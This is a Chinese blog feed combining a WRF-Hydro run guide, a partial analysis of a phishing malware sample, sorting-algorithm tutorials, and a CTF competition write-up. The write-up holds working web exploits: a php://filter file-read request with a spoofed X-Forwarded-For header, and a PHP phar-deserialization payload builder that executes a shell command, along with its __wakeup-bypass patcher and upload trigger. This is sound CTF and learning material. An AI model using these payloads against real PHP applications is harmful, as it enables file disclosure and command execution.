由于我们使用的是例子域的默认 namelist 文件，我们将其复制到模拟目录中。如果你使用的是自己的 namelist 文件，可能需要从其他地方复制和编辑。这些文件很小，因此我们将实际复制而不是创建符号链接。

1
2
cp ~/wrf-hydro-training/example_case/Gridded/namelist.hrldas .
cp ~/wrf-hydro-training/example_case/Gridded/hydro.namelist .

查看目录内容：

1
ls

复制 namelist 文件

运行 WRF-Hydro 使用默认运行时选项

现在我们已经构建了模拟目录，可以运行模拟。我们将使用 mpirun 命令来运行模拟。

1
mpirun -np 2 ./wrf_hydro.exe >> run.log 2>&1

运行成功后，~/wrf-hydro-training/output/lesson2/run_gridded_default 目录中应有大量输出文件。

查看运行目录的内容：

1
ls

运行目录内容

可以通过检查 diag_hydro.0000* 文件的最后一行来验证模拟是否成功，最后一行应显示 “The model finished successfully”。

1
tail -1 diag_hydro.00000

验证模拟成功

发表于 分类于 ，

输入链接，在everything中监听

image-20240627102012903

打开链接，释放了hid和hid.dll
样本报告-微步在线云沙箱 (threatbook.com)

image-20240627102633077

分析了下签名，怀疑惯犯

image-20240627103250972

近期 Higaisa（黑格莎） APT 针对中国用户的钓鱼网站、样本分析(一) | CTF导航 (ctfiot.com)

逆向分析hid.dll，拖入ida

查看字符串，发现

image-20240627102146473

Mark Adler不是那个开发zlib的吗
image-20240627102256393

基本确认了，存在zlib加密，分析hid文件

先写个脚本解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import zlib

def decompress_zlib_file(file_path, output_path):
    try:
        with open(file_path, 'rb') as file:
            compressed_data = file.read()
        
        decompressed_data = zlib.decompress(compressed_data)
        
        with open(output_path, 'wb') as output_file:
            output_file.write(decompressed_data)
        
        print(f"Decompressed data written to {output_path}")
        return True
    except (zlib.error, IOError) as e:
        print(f"Error decompressing file: {e}")
        return False

input_file_path = r"C:\Users\23038\Desktop\hid.zlib"
output_file_path = r"C:\Users\23038\Desktop\decompressed_pe.dll"

success = decompress_zlib_file(input_file_path, output_file_path)

if success:
    print("Decompression and file writing successful.")
else:
    print("Failed to decompress and write the file.")def decompress_zlib_file(file_path, output_path):

分析decompressed_pe.dll，先拖入沙箱

样本报告-微步在线云沙箱 (threatbook.com)

不出所料，报毒

image-20240627103106412

加壳了，exeinfo扫不出来，换peid扫出来

image-20240627102919993

现在很多软件加壳之后，你用查壳软件一查，都显示yoda壳
打开peid的userdb.txt,里面查找一下yoda的特征码,发现居然从头到尾都是问号,看来这数据库将识别不到的都归为yoda了

不知道是什么壳不敢分析了，等考完试找个虚拟机环境看看

发表于 分类于 ，

快速排序（Quick Sort）算法介绍

一、引言

快速排序（Quick Sort）是一种分而治之的排序算法。它通过选择一个基准元素，将数组分为两部分，一部分的元素都比基准小，另一部分的元素都比基准大，然后对这两部分再进行快速排序，最终得到有序的数组。

二、算法思想

快速排序的执行过程可以用以下几步描述：

  1. 选择基准元素：从数组中选择一个元素作为基准。
  2. 分割数组：将比基准小的元素放在基准的左边，比基准大的元素放在基准的右边。
  3. 递归排序：对基准左边和右边的子数组分别进行快速排序。

重复步骤 1 至 3，直到子数组的长度为 1 或 0。

三、动图演示

快速排序完整排序过程如下图所示：

quick_sort_bar

演示说明：

  1. 首先随机选择一个基准数，并将其与最左边的数交换。
  2. 然后从前到后依次遍历，判断小于基准数的元素为绿色，大于基准数的元素为紫色。
  3. 遍历完毕后，将基准数与“下标最大的那个比基准数小的数”交换位置。此时，基准数左边的数都小于它，右边的数都大于它。
  4. 左边和右边的数继续递归求解即可。

四、算法分析

1. 时间复杂度

  • 最优情况：当每次选择的基准元素正好将数组分成两等分时，时间复杂度为 O(nlogn)。
  • 最坏情况：当每次选择的基准元素是最大或最小元素时，时间复杂度为 O(n^2)。
  • 平均情况：在平均情况下，时间复杂度也是 O(nlogn)。

2. 空间复杂度

快速排序的空间复杂度是 O(logn)，因为在递归调用中需要使用栈来存储中间结果。这意味着在排序过程中，最多需要 O(logn) 的额外空间来保存递归调用的栈帧。

五、算法的优点

  1. 高效性：快速排序在大多数情况下具有较高的排序效率。
  2. 适应性：适用于各种数据类型的排序。
  3. 原地排序：不需要额外的存储空间。

六、算法的缺点

  1. 最坏情况性能：在最坏情况下，快速排序的时间复杂度可能退化为 O(n^2)。
  2. 不稳定性：快速排序可能会破坏排序的稳定性，即相同元素的相对顺序可能会改变。

七、优化方案

  1. 选择合适的基准：选择合适的基准元素可以提高算法的性能。
  2. 三数取中：通过选择中间元素作为基准，可以避免最坏情况的出现。
  3. 分区的改进：可以使用双指针或其他方法来改进分区的过程，提高算法的效率。
  4. 小数组使用插入排序：对于小数组，可以直接使用插入排序，避免不必要的递归。

发表于 分类于 ，

归并排序（Merge Sort）算法介绍

一、引言

归并是一种常见的算法思想，在许多领域都有广泛的应用。归并排序的主要目的是将两个已排序的序列合并成一个有序的序列。

二、算法思想

对于一个非有序的序列，可以将其拆分成两个非有序的序列，然后分别调用归并排序，再对两个有序的序列进行合并。整个算法的执行过程可以用 mergeSort(a[], l, r) 描述，代表当前待排序数组 a，左区间下标 l，右区间下标 r，分以下几步：

  1. 计算中点：mid = (l + r) / 2；
  2. 递归调用：mergeSort(a[], l, mid) 和 mergeSort(a[], mid + 1, r)；
  3. 合并：将第二步中两个有序数组进行有序合并，再存储到 a[l:r]。

调用 mergeSort(a[], 0, n-1) 就能得到整个数组的排序结果。

三、动图演示

归并排序完整排序过程如下图所示：

merge_sort_bar

演示说明：

  1. 首先将 8 个元素分成 4 个元素，再将 4 个元素分成 2 个元素。
  2. 比较这 2 个元素的值，使其在自己的原地数组内有序。
  3. 然后两个 2 个元素的数组合并变成 4 个元素的升序数组。
  4. 最后将两个 4 个元素的数组归并变成 8 个元素的升序数组。

四、算法分析

1. 时间复杂度

假设「比较」和「赋值」的时间复杂度为 O(1)。归并排序的时间复杂度为 O(nlog2n)，因为归并过程类似于一颗二叉树的构建过程，次数是二叉树的高度，即 log2n。

2. 空间复杂度

归并排序在归并过程中需要额外的一个辅助数组，最大长度为原数组长度，所以空间复杂度为 O(n)。

五、算法的优点

  1. 稳定性：归并排序是一种稳定的排序算法，即相同元素的相对顺序保持不变。
  2. 可扩展性：归并排序可以很容易地扩展到并行计算环境中，通过并行归并来提高排序效率。

六、算法的缺点

  1. 额外空间：归并排序需要使用额外的辅助空间来存储合并后的结果，这对于内存受限的情况可能是一个问题。
  2. 复杂性：归并排序的实现相对复杂，相比于其它一些简单的排序算法。

七、优化方案

归并排序在众多排序算法中效率较高，时间复杂度为 O(nlog2n)。但是，申请辅助数组内存空间带来的时间消耗比较大。优化方案是使用一个与给定元素个数相同大小的数组，作为函数传参传进去，所有辅助数组的操作都在这个传参数组上进行操作，避免内存的频繁申请和释放。

发表于 分类于 ，

计数排序（Counting Sort）算法介绍

一、引言

计数排序（Counting Sort）是一种基于哈希的排序算法。它通过统计每个元素的出现次数，然后根据统计结果将元素依次放入排序后的序列中。计数排序特别适用于元素范围较小的情况，例如整数范围在 0 到 k 之间。

二、算法思想

计数排序的核心是创建一个计数数组，用于记录每个元素出现的次数。具体步骤如下：

  1. 初始化计数数组：创建一个长度为最大元素值加 1 的计数数组，所有元素初始化为 0。
  2. 统计元素出现次数：遍历原始数组，将每个元素的值作为索引，在计数数组中对应位置加 1。
  3. 清空原数组。
  4. 根据计数数组排序：遍历计数数组，按照计数数组中的计数值将元素放回到原数组中。

三、动图演示

计数排序完整排序过程如下图所示：

演示说明：counting_sort_bar

  1. 首先，程序生成一个范围为 [1, 9] 的计数数组，并且一开始所有值的计数都为 0。
  2. 然后，遍历原数组的所有元素，在对应的计数器位置执行计数操作。
  3. 最后，遍历计数数组，按照计数值将元素放回到原数组中。这样，所有元素都按照升序排列。

四、算法分析

1. 时间复杂度

假设一次「哈希」和「计数」的时间复杂度均为 O(1)，并且总共有 n 个数，数字范围为 1 → k。计数排序中总共有四个循环：

  • 初始化计数数组：时间复杂度 O(k)；
  • 枚举所有数字并计数：时间复杂度 O(n)；
  • 枚举所有范围内的数字：时间复杂度 O(k)；
  • 将元素放回原数组：时间复杂度 O(n)。

总的时间复杂度为：O(n + k)。

2. 空间复杂度

假设最大的数字为 k，则空间复杂度为 O(k)。

五、算法的优点

  1. 简单易懂：计数排序的原理非常简单，容易理解和实现。
  2. 时间复杂度低：对于范围较小的元素，计数排序的时间复杂度非常优秀。
  3. 适用于特定场景：当元素的范围已知且较小时，计数排序可以高效地完成排序。

六、算法的缺点

  1. 空间开销：计数排序需要额外的空间来存储计数数组，当元素范围较大时，可能会消耗较多的内存。
  2. 局限性：计数排序只适用于元素范围较小的情况，对于大规模数据或元素范围不确定的情况并不适用。

七、优化方案

计数排序在众多排序算法中效率较高，时间复杂度为 O(n + k)。然而，它的缺陷是非常依赖数据范围，必须为整数且限定在 [1, k] 范围内。因此，优化点主要集中在常数优化上：

  1. 初始化计数数组可以采用系统函数（例如 C/C++ 中的 memset，纯内存操作，优于循环）。
  2. 当排序元素达到 n 个时，可以提前结束第三个循环，跳出循环。

发表于 分类于 ，

插入排序

一、引言

插入排序（Insertion Sort）是一种简单直观的排序算法。通过构建有序序列，对未排序数据在已排序序列中从后向前扫描，找到相应位置并插入，直到整个数组有序。

二、算法思想

  1. 从第一个元素开始，视为已排序部分。
  2. 取出下一个元素，与已排序部分的元素进行比较。
  3. 如果该元素小于已排序部分的最后一个元素，则将其插入到已排序部分的适当位置。

重复上述步骤，直到整个数组排序完毕。

三、动图演示

insertion_sort_visualization_with_colors_slow
首先将「第二个元素」和「第一个元素」进行「比较」，如果前者小于等于后者，则将后者进行向后「移动」，前者则执行插入；然后进行第二轮「比较」，即「第三个元素」和「第二个元素」、「第一个元素」进行「比较」，直到「前三个元素」保持有序。经过多轮「比较」和「移动」后，所有元素将按「升序」排列。

四、算法分析

  1. 时间复杂度：

    • 假设「比较」和「移动」的时间复杂度为 O(1)。
    • 插入排序有两个嵌套循环，外循环运行 n−1 次迭代，内部循环运行变得越来越短：
      • 当 i = 1 时，内层循环 1 次「比较」操作。
      • 当 i = 2 时，内层循环 2 次「比较」操作。
      • …
      • 当 i = n − 1 时，内层循环 n − 1 次「比较」操作。
    • 总「比较」次数：1 + 2 + … + (n − 1) = n(n-1)/2。总时间复杂度为 O(n^2)。

  2. 空间复杂度：

    • 算法执行过程中只有在「移动」变量时需要将变量存入临时变量 x，没有采用额外的空间，因此空间复杂度为 O(1)。

五、算法的优点

  1. 简单易懂，易于实现。
  2. 适用于小型数组或基本有序的数组。
  3. 稳定性好，不会改变相等元素的相对顺序。

六、算法的缺点

  1. 对于大型无序数组，效率较低。
  2. 不适合大规模数据排序。

七、优化方案

插入排序在众多排序算法中效率较低，时间复杂度为 O(n^2)。在进行插入操作之前，可以利用「二分查找」找到对应的位置。然而，插入过程的时间复杂度仍为 O(n)，所以优化的只是常数时间，最坏时间复杂度不变。

改进思路：在执行插入操作之前，利用「二分查找」找到需要插入的位置。
改进插入排序的思路是在执行插入操作之前，利用「二分查找」找到需要插入的位置。以下是详细的步骤：

改进思路

  1. 二分查找：
    在已排序的部分数组中使用二分查找找到需要插入的位置。二分查找可以在 O(log n) 时间内找到插入位置。

  2. 元素移动：
    找到插入位置后，将插入位置之后的元素向后移动一个位置，为插入元素腾出空间。

  3. 插入元素：
    将当前元素插入到找到的位置。

实现步骤

  1. 遍历未排序部分：
    对数组的每个未排序元素，从第二个元素开始，进行插入排序。

  2. 使用二分查找找到插入位置：
    在已排序部分使用二分查找找到插入位置。

  3. 移动元素：
    将插入位置之后的元素向后移动一个位置。

  4. 插入元素：
    将当前元素插入到找到的位置。

代码示例

以下是一个使用二分查找优化的插入排序的 Python 实现：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import bisect

def binary_insertion_sort(arr):
    for i in range(1, len(arr)):
        key = arr[i]
        # 使用二分查找找到插入位置
        j = bisect.bisect_left(arr[:i], key)
        # 将插入位置之后的元素向后移动一个位置
        arr = arr[:j] + [key] + arr[j:i] + arr[i+1:]
    return arr

# 示例列表
list1 = [1, 2, 3, 5, 4, 6, 8, 7, 9, 5, 4, 1, 2, 3, 6, 0, 1, 5, 8]

# 调用二分查找优化的插入排序函数
sorted_list = binary_insertion_sort(list1)

# 打印排序后的列表
print("排序后的列表:", sorted_list)

解释

  1. 二分查找：
    使用 bisect_left 方法在已排序部分查找插入位置，该方法返回应插入元素的位置，使得数组仍保持有序。

  2. 元素移动：
    将插入位置之后的元素向后移动一个位置，为插入元素腾出空间。通过切片操作，将数组分为三部分：插入位置之前的部分、插入元素、插入位置之后的部分。

  3. 插入元素：
    将当前元素插入到找到的位置。

这种改进将查找插入位置的时间复杂度从 O(n) 降低到 O(log n)，从而在一定程度上提高了插入排序的效率，尽管整体时间复杂度仍然是 O(n^2)，但在实际应用中可能会有性能提升。

发表于 分类于 ，

冒泡排序（Bubble Sort）算法详解

一、引言

冒泡排序（Bubble Sort）是一种简单的排序算法，通过多次比较和交换相邻的元素，将数组中的元素按升序或降序排列。

二、算法思想

冒泡排序的基本思想是：每次遍历数组，比较相邻的两个元素，如果它们的顺序错误，就将它们交换，直到数组中的所有元素都被遍历过。

具体的算法步骤如下：

  1. 第一步：遍历数组的第一个元素到最后一个元素。
  2. 第二步：对每一个元素，与其后一个元素进行比较。
  3. 第三步：如果顺序错误，就将它们交换。

重复上述步骤，直到数组中的所有元素都被遍历过至少一次。

三、动图演示

bubble_sort
冒泡排序完整排序视频可以直观展示排序过程。关键步骤如下：

  1. 首先比较第一个元素和第二个元素，如果前者大于后者，则交换，然后再比较第二个元素和第三个元素，以此类推，直到最大的那个元素被移动到最后的位置。
  2. 然后，进行第二轮比较，直到次大的那个元素被移动到倒数第二的位置。
  3. 最后，经过一定轮次的比较和交换之后，所有元素将按升序排列。

四、算法分析

1. 时间复杂度

假设比较和交换的时间复杂度为 ( O(1) )。

冒泡排序中有两个嵌套循环：

  • 外循环正好运行 ( n-1 ) 次迭代。

  • 内循环的运行次数逐渐减少：

    • 当 ( i=0 )，内层循环进行 ( n-1 ) 次比较操作。
    • 当 ( i=1 )，内层循环进行 ( n-2 ) 次比较操作。
    • 依此类推，直到 ( i=n-2 )，内层循环进行 1 次比较操作。
    • 当 ( i=n-1 )，内层循环进行 0 次比较操作。

总比较次数为：

因此，总时间复杂度为 ( O(n^2) )。

2. 空间复杂度

由于算法在执行过程中，只有交换变量时使用了临时变量，并且没有采用任何额外的空间，所以空间复杂度为 ( O(1) )。

五、算法的优点

  1. 简单易懂：冒泡排序的算法思想非常简单，容易理解和实现。
  2. 稳定排序：冒泡排序是一种稳定的排序算法，即在排序过程中不会改变相同元素的相对顺序。

六、算法的缺点

  1. 效率较低：由于需要进行多次比较和交换，冒泡排序在处理大规模数据时效率较低。
  2. 排序速度慢：对于大型数组，冒泡排序的时间复杂度较高，导致排序速度较慢。

七、优化方案

冒泡排序在众多排序算法中效率较低，时间复杂度为 ( O(n^2) )。

例如，假设有 ( n=100000 ) 个数字。即使计算机速度超快，并且可以在 1 秒内计算 ( 10^8 ) 次操作，但冒泡排序仍需要大约一百秒才能完成。

然而，它的外层循环是可以提前终止的。例如，假设一开始所有数字都是升序的，那么在首轮比较时没有发生任何交换，那么后面就不需要继续进行比较，直接跳出外层循环，算法提前终止。

优化思路：如果通过内部循环完全不交换，意味着数组已经排好序，可以在这个点上停止算法。

冒泡排序代码实现

以下是冒泡排序算法的Python代码实现：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def bubble_sort(arr):
    n = len(arr)
    for i in range(n):
        swapped = False
        for j in range(0, n-i-1):
            if arr[j] > arr[j+1]:
                arr[j], arr[j+1] = arr[j+1], arr[j]
                swapped = True
        if not swapped:
            break
    return arr

# 测试冒泡排序算法
arr = [64, 34, 25, 12, 22, 11, 90]
sorted_arr = bubble_sort(arr)
print("排序后的数组:", sorted_arr)

该代码包括：

  1. bubble_sort 函数：实现冒泡排序算法。它接收一个列表 arr 作为参数，并返回排序后的列表。
  2. 内部循环：对每一个元素与其后一个元素进行比较，并在顺序错误时进行交换。
  3. 优化：通过检查是否发生交换来提前终止外层循环。
  4. 测试代码：创建一个包含一些无序元素的列表 arr，并调用 bubble_sort 函数对其进行排序，最后输出排序后的数组。

通过运行该代码，你可以观察冒泡排序算法如何逐步将数组元素排序。

发表于 分类于 ，

选择排序（Selection Sort）算法详解

一、引言

选择排序（Selection Sort）是一种简单直观的排序算法。它的基本操作是从未排序序列中找到最小（或最大）元素，存放到已排序序列的末尾。重复这一过程，直到所有元素均排序完毕。

二、算法思想

  1. 第一步：在未排序序列中找到最小（或最大）元素，存放到排序序列的起始位置。
  2. 第二步：再从剩余未排序元素中继续寻找最小（或最大）元素，然后放到已排序序列的末尾。
  3. 重复第二步，直到所有元素均排序完毕。

三、动图演示

选择排序完整排序视频可以直观展示排序过程。关键步骤如下：

  1. 从第一个元素到最后一个元素中选择出一个最小的元素，与第一个元素进行交换。
  2. 从第二个元素到最后一个元素中选择出一个最小的元素，与第二个元素进行交换。
  3. 重复上述过程，从第 (i) 个元素到最后一个元素中选择出一个最小的元素，与第 (i) 个元素进行交换。

selection_sort.gif

最终，所有元素将按照升序排列。

四、算法分析

1. 时间复杂度

选择排序的时间复杂度分析如下：

  • 外循环运行 ( n - 1 ) 次迭代。

  • 内循环的运行次数逐渐减少：

    • 当 ( i = 0 )，内层循环进行 ( n - 1 ) 次比较操作。
    • 当 ( i = 1 )，内层循环进行 ( n - 2 ) 次比较操作。
    • 依此类推，直到 ( i = n - 2 )，内层循环进行 1 次比较操作。

总比较次数为：

因此，总时间复杂度为 ( O(n^2) )。

2. 空间复杂度

选择排序的空间复杂度为 ( O(1) )。它只使用了固定的额外空间来存储交换操作，并不依赖于输入数组的大小。

五、算法的优点

  1. 简单易懂：选择排序是一种简单直观的排序算法，容易理解和实现。
  2. 原地排序：选择排序不需要额外的存储空间，只使用原始数组进行排序。
  3. 适用于小型数组：对于小型数组，选择排序的性能表现较好。

六、算法的缺点

  1. 时间复杂度高：在处理大规模数据时效率较低。
  2. 不稳定：选择排序在排序过程中可能会改变相同元素的相对顺序，因此它是一种不稳定的排序算法。

七、优化方案

选择排序的时间复杂度为 ( O(n^2) )，在处理大规模数据时效率较低。可以考虑以下优化方案：

  1. 使用线段树：每一个内层循环是从一个区间中找到一个最小值，并且更新这个最小值。这个过程可以通过使用线段树将时间复杂度优化为 ( O(\log n) )，从而使总的时间复杂度变为 ( O(n \log n) )。

  2. 堆排序：堆排序是一种更为高效的选择排序优化方法，后续可以进一步学习和应用。

通过以上优化，可以显著提升选择排序在大规模数据处理中的性能。

发表于 分类于 ，

广东省大学生网络安全竞赛WP

001. 消失的flag

使用 php:// 伪协议的convert编码格式转换功能读取flag
使用header绕过IP检测

1
2
r = requests.get(url, params={"file": "php://filter/convert.iconv.UCS-4.UCS-4/resource=/flag"}, headers={"X-Forwarded-For": "127.0.0.1"})
print(r.text)

003. unserialize_web

扫描看到源码www.tar.gz，使用phar反序列化读取/flag，需要绕过__wakeup关键字检测、文件后缀检测、phar反序列化。生成恶意对象放入phar.phar：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
// 反序列化payload构造
class File {
    public $val1;
    public $val2;
    public $val3;
    
    public function __construct() {
        $this->val1 = "val1";
        $this->val2 = "val2";
    }
    
    public function __destruct() {
        if ($this->val1 === "file" && $this->val2 === "exists") {
            if (preg_match('/^\s*system\s*\(\s*\'cat\s+\/[^;]*\'\s*\);\s*$/' $this->val3)) {
                eval($this->val3);
            } else {
                echo "Access Denied";
            }
        }
    }
    
    public function __access() {
        $Var = "Access Denied";
        echo $Var;
    }
    
    public function __wakeup() {
        $this->val1 = "exists";
        $this->val2 = "file";
        echo "文件存在";
    }
}

$o = new File();
$o->val1='file';
$o->val2='exists';
$o->val3="system('cat /flag');";

// 打开phar文件
@unlink("phar.phar");
$phar = new Phar("phar.phar"); // 生成时后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");

// 放入对象
$phar->setMetadata($o);

// 添加压缩的文件（test为其中的内容）
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
echo 'use phar.phar';
?>

修改phar.phar绕过__wakeup：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def sha1_hash(s):
    sha1_obj = hashlib.sha1()
    sha1_obj.update(s)
    return sha1_obj.digest()

with open("php_docker/phar.phar", "rb") as f:
    content = f.read()
    print(content)
    content = content.replace(b'"File":3', b'"File":4')
    content = content[:-28] + sha1_hash(content[:-28]) + content[-8:]
    print(content)

with open("php_docker/modified.phar", "wb") as out:
    out.write(content)

使用gzip -f modified.phar压缩绕过关键字检测，得到modified.phar.gz，重命名为mod3.jpg绕过文件后缀检测并上传。最后触发，拿到flag：

1
2
3
4
url = "http://1c300fa3-159a-bef7-2fd1-6e7839227374b834.tq.jxsec.cn:30486/download.php"
r = requests.post(url, data={"file": "phar://upload/mod3.jpg/test.jpg"})
r.encoding = r.apparent_encoding
print(r.text)

Reverse

002. re2

IDA查看main函数：

1
2
sub_401170("you win: please the key decrypt flag.\r\n");
sub_401170("flag:uQBF11zD6uYP9kJhRhL8OeesPaaZQQvbl3wx7Ik0T6g=. alg=AES\r\n");

使用findcrypt插件找到CRC32。image-20240527144807827

crc32和算法解出key：

1
2
rand1-key：28672 12779520 1744830464 129 13824
rand2-key：2 9 10 14 5

image-20240527144822061

image-20240527144828947

从内存里面dump出来16byte，获得真key。base64解密得到flag。

image-20240527144837259

misc

001. 猜一猜

image-20240527144844608

压缩包有密码，观察文件名像md5：https://www.cmd5.com/。附件文件名MD5解密得到密码：a1478520。

image-20240527144851817

image-20240527144855779

使用010editor打开，补全PNG文件头得到一个二维码。扫码转到网站：

image-20240527144904113

image-20240527144908308

1
❀❁❀❇❀✼❀❂✿❆✿✽❁❀✿✾❂❅✿❄❂❉❀✿❂❆❀❃❀✿❂❆✿❀❁✾✻✿❁❁❀❁❂❊✻❂✿❈=

花朵密码，在线解密https://www.qqxiuzi.cn/bianma/wenbenjiami.php?s=huaduo

image-20240527144914451

得到flag{rUsJyNdKhdKuS4VfO7}。

Crypto

001. encipher

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
d = 4885628697024674802233453512637565599092248491488767824821990279922756927662223348312748794983451796542248787267207054348962258716585568185354414099671493917947012747791554070655258925730967322717771647407982984792632771150018212620323323635510053326184087327891569331050475507897640403090397521797022070233
N = 89714050971394259600440975863751229102748301873549839432714703551498380713981264101533375672970154214062583012365073892089644031804109941766201243163398926438698369735588338279544152140859123834763870759757751944228350552806429642516747541162527058800402619575257179607422628877017180197777983487523142664487
ciphertext = 67254133265602132458415338912590207677514059205474875492945840960242620760650527587490927820914970400738307536068560894182603885331513473363314148815933001614692570010664750071300871546575845539616570277302220914885734071483970427419582877989670767595897758329863040523037547687185382294469780732905652150451

from Crypto.Util.number import long_to_bytes, bytes_to_long
from Crypto.Util.strxor import strxor

m = pow(ciphertext, d, N)
m = long_to_bytes(m)
l = len(m)
key = b'Life is like an ocean only strong-minded can reach the other shore'
key = key[:l]
m = strxor(m, key)

print(m, l)

得到flag{1s_Pa33w0rd_1y2u22}